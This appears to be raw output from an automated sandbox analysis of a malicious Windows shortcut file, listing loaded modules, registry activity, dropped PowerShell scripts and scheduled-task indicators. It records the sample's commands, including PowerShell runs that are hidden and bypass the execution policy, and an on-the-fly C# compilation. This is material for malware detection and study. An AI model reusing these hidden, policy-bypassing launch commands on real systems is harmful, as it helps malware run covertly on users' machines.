"powershell.exe" loaded module "RASMAN.DLL" at base 7ffde87b0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\WS2_32.DLL" at base 0 "powershell.exe" loaded module "WS2_32.DLL" at base 7ffdf6220000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 7ffdf47a0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\WINHTTP.DLL" at base 0 "powershell.exe" loaded module "WINHTTP.DLL" at base 7ffdf1540000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\ONDEMANDCONNROUTEHELPER.DLL" at base 7ffdd7a30000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 7ffdecad0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 7ffdee070000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\SCHANNEL.DLL" at base 7ffdf42f0000 "powershell.exe" loaded module "MSKEYPROTECT.DLL" at base 7ffde7670000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\NCRYPTSSLP.DLL" at base 7ffde7690000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\DIASYMREADER.DLL" at base 7ffdc1540000 "powershell.exe" loaded module "GDI32.DLL" at base 7ffdf8480000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.M870D558A#\5F64880C86C98E7DDECDF28E61917307\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NATIVE.NI.DLL" at base 7ffdd68e0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.IBAAE5ED9#\E86F7F836A07F673CDEF4C9A4D4B4D80\MICROSOFT.IIS.POWERSHELL.COMMANDS.NI.DLL" at base 7ffdc14d0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NATIVE\V4.0_1.0.0.0__31BF3856AD364E35\API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0.DLL" at base 0 "powershell.exe" loaded module "API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0.DLL" at base 7ffdf4fc0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NATIVE\V4.0_1.0.0.0__31BF3856AD364E35\MSVCRT.DLL" at base 0 "powershell.exe" loaded module "MSVCRT.DLL" at base 7ffdf6290000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NATIVE\V4.0_1.0.0.0__31BF3856AD364E35\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NATIVE.UNMANAGED.DLL" at base 0 "powershell.exe" loaded module "MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NATIVE.UNMANAGED.DLL" at base 7ffdeb0f0000 "powershell.exe" loaded module "MI.DLL" at base 7ffdec5f0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NATIVE\V4.0_1.0.0.0__31BF3856AD364E35\MI.DLL" at base 0 "powershell.exe" loaded module "API-MS-WIN-SECURITY-BASE-L1-1-0.DLL" at base 7ffdf4fc0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WMIDCOM.DLL" at base 7ffdec560000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 7ffdf4fc0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMPROX.DLL" at base 7ffdeaa30000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMSVC.DLL" at base 7ffde9190000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL" at base 7ffdf4fc0000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-1-0.DLL" at base 7ffdf4fc0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\FASTPROX.DLL" at base 7ffde8170000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NATIVE\V4.0_1.0.0.0__31BF3856AD364E35\API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL" at base 7ffdf8a80000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NATIVE\V4.0_1.0.0.0__31BF3856AD364E35\API-MS-WIN-CORE-HANDLE-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "API-MS-WIN-CORE-HANDLE-L1-1-0.DLL" at base 7ffdf4fc0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\\WINDOWS.STATEREPOSITORYPS.DLL" at base 7ffde03e0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\SHELL32.DLL" at base 22d58a60000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\URLMON.DLL" at base 7ffde9cd0000 "powershell.exe" loaded module "MSISO.DLL" at base 7ffde3d50000 "powershell.exe" loaded module "API-MS-WIN-CORE-URL-L1-1-0.DLL" at base 7ffdf4fc0000 "powershell.exe" loaded module "SHELL32.DLL" at base 220f9bd0000 "powershell.exe" loaded module "AMSI.DLL" at base 7ffdedd70000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPOAV.DLL" at base 7ffdeada0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\G9Q6718S.DLL" at base 7ffde9c80000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.MF49F6405#\7B1F35FB0C2D6955CE5AF2BD372C65F2\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NI.DLL" at base 7ffde08b0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAGEMENT\B221AF81285C1305324612E6DC9C88FF\SYSTEM.MANAGEMENT.NI.DLL" at base 7ffde0740000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DIRED13B18A9#\8AD4C0AF5B3D51A0F3A4DAC0D44D85D4\SYSTEM.DIRECTORYSERVICES.NI.DLL" at base 7ffdd69b0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.NUMERICS\86CFD69CE1261BAF4740E7606CADE014\SYSTEM.NUMERICS.NI.DLL" at base 7ffde9c20000 "powershell.exe" loaded module "SHELL32.DLL" at base 2125a0d000038:Tac3,"powershell.exe" touched "Windows Defender IOfficeAntiVirus implementation" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{2781761E-28E0-4109-99FE-B9D127C57AFE}\INPROCSERVER32") "powershell.exe" touched "Custom Destination List" (Path: "HKCU\CLSID\{77F10CF0-3DB5-4966-B520-B7C54FD35ED6}") "powershell.exe" touched "Start Menu Cache" (Path: "HKCU\CLSID\{660B90C8-73A9-4B58-8CAE-355B7F55341B}\TREATAS") "powershell.exe" touched "Computer" (Path: "HKCU\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER") "powershell.exe" touched "Property System Both Class Factory" (Path: "HKCU\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}\TREATAS") "powershell.exe" touched "Memory Mapped Cache Mgr" (Path: "HKCU\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\TREATAS") "powershell.exe" touched "Sync root manager" (Path: "HKCU\CLSID\{F324E4F9-8496-40B2-A1FF-9617C1C9AFFE}\TREATAS") "powershell.exe" touched "Shortcut" (Path: "HKCU\CLSID\{00021401-0000-0000-C000-000000000046}\IMPLEMENTED CATEGORIES\{00021490-0000-0000-C000-000000000046}") "powershell.exe" touched "A collection of IUnknown objects that can be enumerated" (Path: "HKCU\CLSID\{2D3468C1-36A7-43B6-AC24-D3F02FD9607A}\TREATAS") "powershell.exe" touched "WBEM Locator" (Path: "HKCU\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}") "powershell.exe" touched "Windows Management and Instrumentation" (Path: "HKCU\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\TREATAS") "powershell.exe" touched "PSFactoryBuffer" (Path: "HKCU\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\TREATAS") "powershell.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemServices" (Path: "HKCU\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\TREATAS") "powershell.exe" touched "Microsoft WBEM Call Context" (Path: "HKCU\CLSID\{674B6698-EE92-11D0-AD71-00C04FD8FDFF}\TREATAS") "powershell.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemObjectSinkEx" (Path: "HKCU\CLSID\{00B8308C-09F2-4C18-A7B0-4594D6B22EFE}\TREATAS") "powershell.exe" touched "Microsoft WBEM WbemClassObject Marshalling proxy" (Path: "HKCU\CLSID\{4590F812-1D3A-11D0-891F-00AA004B2E24}\TREATAS") "powershell.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemObjectSink" (Path: "HKCU\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD}\TREATAS") "powershell.exe" touched "NDP SymBinder" (Path: "HKCU\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\INPROCSERVER32") "powershell.exe" touched "Security Manager" (Path: "HKCU\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}\TREATAS") "powershell.exe" touched "ShellItemArray Shell Namespace helper" (Path: "HKCU\CLSID\{CDC82860-468D-4D4E-B7E7-C298FF23AB2C}\TREATAS") "powershell.exe" touched "ShellItem Shell Namespace helper" (Path: "HKCU\CLSID\{9AC9FBE1-E0A2-4AD6-B4EE-E212013EA917}\TREATAS")39:T602,Observed system executable string:"/C:\2DF24D~1.LNKC:\2df24d850d6a50410e6503bc449a61778e5e88722ea4e20e198ea61e45a6903e.bin.lnkdesktop-fvvf82a1SPS1SPS/C:\WindowsSystem32WINDOW~1=K$uv1.0m=K$u.=Kgm powershell_ise.exe=Kgm=Kgm.C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe%systemroot%\system32\windowspowershell\v1.0\powershell_ise.exedesktop-fvvf82a'KPv'KPv1SPS1SPS/C:\WindowsSystem32WINDOW~1=K$uv1.0m=K$u.=Kgm powershell_ise.exe=Kgm=Kgm.C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe%systemroot%\system32\windowspowershell\v1.0\powershell_ise.exedesktop-fvvf82a'KPv'KPv1SPS1SPS" [Source: 8KT95F6TBB8HO4W998TM.temp] Observed system executable string:"%WINDIR%\system32\windowspowershell\v1.0\powershell_ise.exe" [Source: 00000000-00006444-00000C2E-1765704468] Observed system executable string:"%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe" [Source: 00000000-00006444-00000BC1-2525102629] Observed system executable string:""%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -ExecutionPolicy Bypass %USERPROFILE%\AppData\R" [Source: 00000000-00006444-00000C47-16474102914] Observed system executable string:""%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"%TEMP%\hcjefsh2\hcje" [Source: 00000000-00005528-00000C47-28914109826], Observed system executable string:""%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -File %USERPROFILE%\AppData\Roam" [Source: 00000000-00005528-00000C47-31940679422]3a:T15fa,Process "powershell.exe" (UID: 00000000-00005528) was launched with new environment variables: "USERDNSDOMAIN="DESKTOP-FVVF82A"" Process "powershell.exe" (UID: 00000000-00005528) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles, NUMBER_OF_PROCESSORS" Process "powershell.exe" (UID: 00000000-00005528) was launched with missing environment variables: "PROCESSOR_ARCHITEW6432" Process "csc.exe" (UID: 00000000-00004540) was launched with new environment variables: "computername="DESKTOP-FVVF82A", programw6432="C:\Program Files", commonprogramfiles="%PROGRAMFILES%\Common Files", homedrive="C:", pathext=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.CPL", psexecutionpolicypreference="Bypass", path="C:\ProgramData\Oracle\Java\javapath;%WINDIR%\system32;%WINDIR%\%WINDIR%\System32\Wbem;%WINDIR%\System32\WindowsPowerShell\v1.0\;%APPDATA%\nvm;C:\Program Files\nodejs;%APPDATA%\nvm;C:\Program Files\nodejs", comspec="%WINDIR%\system32\cmd.exe", homepath="\Users\%OSUSER%", sessionname="Console", tmp="%LOCALAPPDATA%\Temp", processor_revision="4f00", localappdata="%USERPROFILE%\AppData\Local", sslkeylogfile="%TEMP%\sslkey.txt", curl_ca_bundle="%USERPROFILE%\.mitmproxy\mitmproxy-ca-cert.cer", userprofile="C:\Users\%OSUSER%", number_of_processors="8", programfiles="C:\Program Files", processor_level="6", userdnsdomain="DESKTOP-FVVF82A", userdomain_roamingprofile="DESKTOP-FVVF82A", commonprogramfiles(x86)="%PROGRAMFILES%\(x86)\Common Files", processor_architecture="AMD64", processor_identifier="Intel64 Family 6 Model 79 Stepping 0 GenuineIntel", logonserver="%HOSTNAME%", nvm_symlink="%PROGRAMFILES%\nodejs", systemroot="C:\WINDOWS", userdomain="DESKTOP-FVVF82A", commonprogramw6432="%PROGRAMFILES%\Common Files", allusersprofile="C:\ProgramData", public="C:\Users\Public", temp="%LOCALAPPDATA%\Temp", os="Windows_NT", programdata="C:\ProgramData", nvm_home="%APPDATA%\nvm", programfiles(x86)="%PROGRAMFILES%\(x86)", psmodulepath="C:\Users\%OSUSER%\Documents\WindowsPowerShell\Modules;%PROGRAMFILES%\WindowsPowerShell\Modules;%WINDIR%\system32\WindowsPowerShell\v1.0\Modules\;%PROGRAMFILES%\(x86)\AutoIt3\AutoItX", onedrive="%USERPROFILE%\OneDrive", prompt="$P$G", _clrrestrictsecattributes="1", systemdrive="C:", appdata="%USERPROFILE%\AppData\Roaming", username="%OSUSER%"" Process "csc.exe" (UID: 00000000-00004540) was launched with missing environment variables: "USERDOMAIN_ROAMINGPROFILE, NVM_SYMLINK, PROCESSOR_LEVEL, SSLKEYLOGFILE, SESSIONNAME, ALLUSERSPROFILE, PROCESSOR_ARCHITECTURE, PSModulePath, SystemDrive, USERNAME, USERDNSDOMAIN, ProgramFiles(x86), CURL_CA_BUNDLE, PATHEXT, ProgramData, ProgramW6432, HOMEPATH, PROCESSOR_IDENTIFIER, ProgramFiles, PUBLIC, LOCALAPPDATA, USERDOMAIN, LOGONSERVER, PROMPT, OneDrive, APPDATA, CommonProgramFiles, Path, OS, COMPUTERNAME, NVM_HOME, PROCESSOR_REVISION, CommonProgramW6432, ComSpec, SystemRoot, TEMP, HOMEDRIVE, USERPROFILE, TMP, CommonProgramFiles(x86), NUMBER_OF_PROCESSORS" Process "powershell.exe" (UID: 00000000-00004752) was launched with new environment variables: "USERDOMAIN_ROAMINGPROFILE="DESKTOP-FVVF82A", NVM_SYMLINK="%PROGRAMFILES%\nodejs", PROCESSOR_LEVEL="6", SSLKEYLOGFILE="%TEMP%\sslkey.txt", SESSIONNAME="Console", ALLUSERSPROFILE="C:\ProgramData", PROCESSOR_ARCHITECTURE="AMD64", PSModulePath="C:\Users\%OSUSER%\Documents\WindowsPowerShell\Modules;%PROGRAMFILES%\WindowsPowerShell\Modules;%WINDIR%\system32\WindowsPowerShell\v1.0\Modules\;%PROGRAMFILES%\(x86)\AutoIt3\AutoItX", SystemDrive="C:", USERNAME="%OSUSER%", USERDNSDOMAIN="DESKTOP-FVVF82A", ProgramFiles(x86)="%PROGRAMFILES%\(x86)", CURL_CA_BUNDLE="%USERPROFILE%\.mitmproxy\mitmproxy-ca-cert.cer", PATHEXT=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.CPL", ProgramData="C:\ProgramData", ProgramW6432="C:\Program Files", HOMEPATH="\Users\%OSUSER%", PROCESSOR_IDENTIFIER="Intel64 Family 6 Model 79 Stepping 0 GenuineIntel", ProgramFiles="C:\Program Files", PUBLIC="C:\Users\Public", LOCALAPPDATA="%USERPROFILE%\AppData\Local", USERDOMAIN="DESKTOP-FVVF82A", LOGONSERVER="%HOSTNAME%", PROMPT="$P$G", OneDrive="%USERPROFILE%\OneDrive", APPDATA="%USERPROFILE%\AppData\Roaming", CommonProgramFiles="%PROGRAMFILES%\Common Files", Path="C:\ProgramData\Oracle\Java\javapath;%WINDIR%\system32;%WINDIR%\%WINDIR%\System32\Wbem;%WINDIR%\System32\WindowsPowerShell\v1.0\;%APPDATA%\nvm;C:\Program Files\nodejs;%APPDATA%\nvm;C:\Program Files\nodejs", OS="Windows_NT", COMPUTERNAME="DESKTOP-FVVF82A", NVM_HOME="%APPDATA%\nvm", PROCESSOR_REVISION="4f00", CommonProgramW6432="%PROGRAMFILES%\Common Files", ComSpec="%WINDIR%\system32\cmd.exe", PSExecutionPolicyPreference="Bypass", SystemRoot="C:\WINDOWS", TEMP="%LOCALAPPDATA%\Temp", HOMEDRIVE="C:", USERPROFILE="C:\Users\%OSUSER%", TMP="%LOCALAPPDATA%\Temp", CommonProgramFiles(x86)="%PROGRAMFILES%\(x86)\Common Files", NUMBER_OF_PROCESSORS="8"" Process "powershell.exe" (UID: 00000000-00004752) was launched with missing environment variables: "computername, programw6432, commonprogramfiles, homedrive, pathext, psexecutionpolicypreference, path, comspec, homepath, sessionname, tmp, processor_revision, localappdata, sslkeylogfile, curl_ca_bundle, userprofile, number_of_processors, programfiles, processor_level, userdnsdomain, userdomain_roamingprofile, commonprogramfiles(x86), processor_architecture, processor_identifier, logonserver, nvm_symlink, systemroot, userdomain, commonprogramw6432, allusersprofile, public, temp, os, programdata, nvm_home, programfiles(x86), psmodulepath, onedrive, prompt, _clrrestrictsecattributes, systemdrive, appdata, username"3b:T13bb,Observed system executable string:"C:\> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\HAPUBWS\AppData\Local\Temp\hcjefsh2\hcjefsh2.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\HAPUBWS\AppData\Local\Temp\hcjefsh2\hcjefsh2.0.cs"Microsoft (R) Visual C# Compiler version 4.8.3761.0for C# 5Copyright (C) Microsoft Corporation. All rights reserved.This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240" [Source: hcjefsh2.out] Observed system executable string:"/t:library /utf8output /R:"System.dll" /R:"C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\HAPUBWS\AppData\Local\Temp\hcjefsh2\hcjefsh2.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\HAPUBWS\AppData\Local\Temp\hcjefsh2\hcjefsh2.0.cs"" [Source: hcjefsh2.cmdline] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" [Source: 00000000-00006444-00000C2E-2313535674] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll" [Source: 00000000-00006444-00000C2B-2519762351] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" [Source: 00000000-00006444-00000C2B-2519868974] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00006444-00000C2B-2519958940] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll" [Source: 00000000-00006444-00000C2B-2520163074] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" [Source: 00000000-00006444-00000C2B-2520220778] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" [Source: 00000000-00006444-00000C2B-2520288357] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" [Source: 00000000-00006444-00000C2B-2520365394] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll" [Source: 00000000-00006444-00000C2B-2520454100] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll" [Source: 00000000-00006444-00000C2B-2520507849] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" [Source: 00000000-00006444-00000C2B-2520576484] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" [Source: 00000000-00006444-00000C2B-2520683851] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" [Source: 00000000-00006444-00000C2B-2520792659] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" [Source: 00000000-00006444-00000C2B-2521022968] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" [Source: 00000000-00006444-00000C2B-2521030064] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" [Source: 00000000-00006444-00000C2B-2521341395] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll" [Source: 00000000-00006444-00000C2B-2521392704] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll" [Source: 00000000-00006444-00000C2B-2521582341] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll" [Source: 00000000-00006444-00000C2B-2521642006] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" [Source: 00000000-00006444-00000C2B-2521737690] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" [Source: 00000000-00006444-00000C2B-2521738200] Observed system executable string:"%WINDIR%\system32\version.dll" [Source: 00000000-00006444-00000C2B-2521951468] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" [Source: 00000000-00006444-00000C2B-2522232161]3c:T70d,file/memory contains long string with (Indicator: "Get-ScheduledTask"; File: "AMSI") file/memory contains long string with (Indicator: "Unregister-ScheduledTask"; File: "AMSI") file/memory contains long string with (Indicator: "Disable-ScheduledTask"; File: "AMSI") file/memory contains long string with (Indicator: "Enable-ScheduledTask"; File: "AMSI") file/memory contains long string with (Indicator: "Export-ScheduledTask"; File: "AMSI") file/memory contains long string with (Indicator: "Get-ScheduledTaskInfo"; File: "AMSI") file/memory contains long string with (Indicator: "New-ScheduledTaskAction"; File: "AMSI") file/memory contains long string with (Indicator: "New-ScheduledTaskPrincipal"; File: "AMSI") file/memory contains long string with (Indicator: "New-ScheduledTaskSettingsSet"; File: "AMSI") file/memory contains long string with (Indicator: "New-ScheduledTaskTrigger"; File: "AMSI") file/memory contains long string with (Indicator: "Register-ScheduledTask"; File: "AMSI") file/memory contains long string with (Indicator: "Set-ScheduledTask"; File: "AMSI") file/memory contains long string with (Indicator: "Start-ScheduledTask"; File: "AMSI") file/memory contains long string with (Indicator: "Stop-ScheduledTask"; File: "AMSI") file/memory contains long string with (Indicator: "Get-ClusteredScheduledTask"; File: "AMSI") file/memory contains long string with (Indicator: "Register-ClusteredScheduledTask"; File: "AMSI") file/memory contains long string with (Indicator: "Set-ClusteredScheduledTask"; File: "AMSI") file/memory contains long string with (Indicator: "Unregister-ClusteredScheduledTask"; File: "AMSI") Found string "New-ScheduledTaskTrigger" (Indicator: "New-ScheduledTaskTrigger"; Source: "00000000-00005528.00000001.226277.3E512000.00000004.mdmp")3d:T482,"firefox.ps1" has type "Unicode text UTF-16 little-endian text with very long lines (5561) with CRLF line terminators"- Location: [%APPDATA%\firefox.ps1]- [targetUID: 00000000-00005528] "facebook.ps1" has type "Unicode text UTF-8 (with BOM) text with very long lines (1869) with CRLF line terminators"- Location: [%APPDATA%\Microsoft\Windows\CloudStore\facebook.ps1]- [targetUID: 00000000-00005528] "hcjefsh2.out" has type "Unicode text UTF-8 (with BOM) text with very long lines (433) with CRLF CR line terminators"- Location: [%TEMP%\hcjefsh2\hcjefsh2.out]- [targetUID: 00000000-00005528] "hcjefsh2.0.cs" has type "Unicode text UTF-8 (with BOM) text with very long lines (617) with no line terminators"- Location: [%TEMP%\hcjefsh2\hcjefsh2.0.cs]- [targetUID: 00000000-00005528] "hcjefsh2.cmdline" has type "Unicode text UTF-8 (with BOM) text with very long lines (370) with no line terminators"- Location: [%TEMP%\hcjefsh2\hcjefsh2.cmdline]- [targetUID: 00000000-00005528] "StartupProfileData-NonInteractive" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive]- [targetUID: 00000000-00005528]3e:Tce8,"powershell.exe" monitors "\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001_Classes" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\SyncRootManager" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SYSTEM\ControlSet001\Services\crypt32" (Filter: 268435460; Subtree: 0) "powershell.exe" monitors "\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\SystemCertificates\Root" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\ROOT" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\AuthRoot" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SOFTWARE\Policies\Microsoft\SystemCertificates" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\Root" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\FlightRoot" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\SystemCertificates\SmartCardRoot" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\SystemCertificates\trust" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Policies\Microsoft\SystemCertificates" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\trust" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\Trust" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\SystemCertificates\CA" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\CA" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\CA" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\SystemCertificates\Disallowed" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\Disallowed" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors "HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\Disallowed" (Filter: 268435461; Subtree: 1) "powershell.exe" monitors 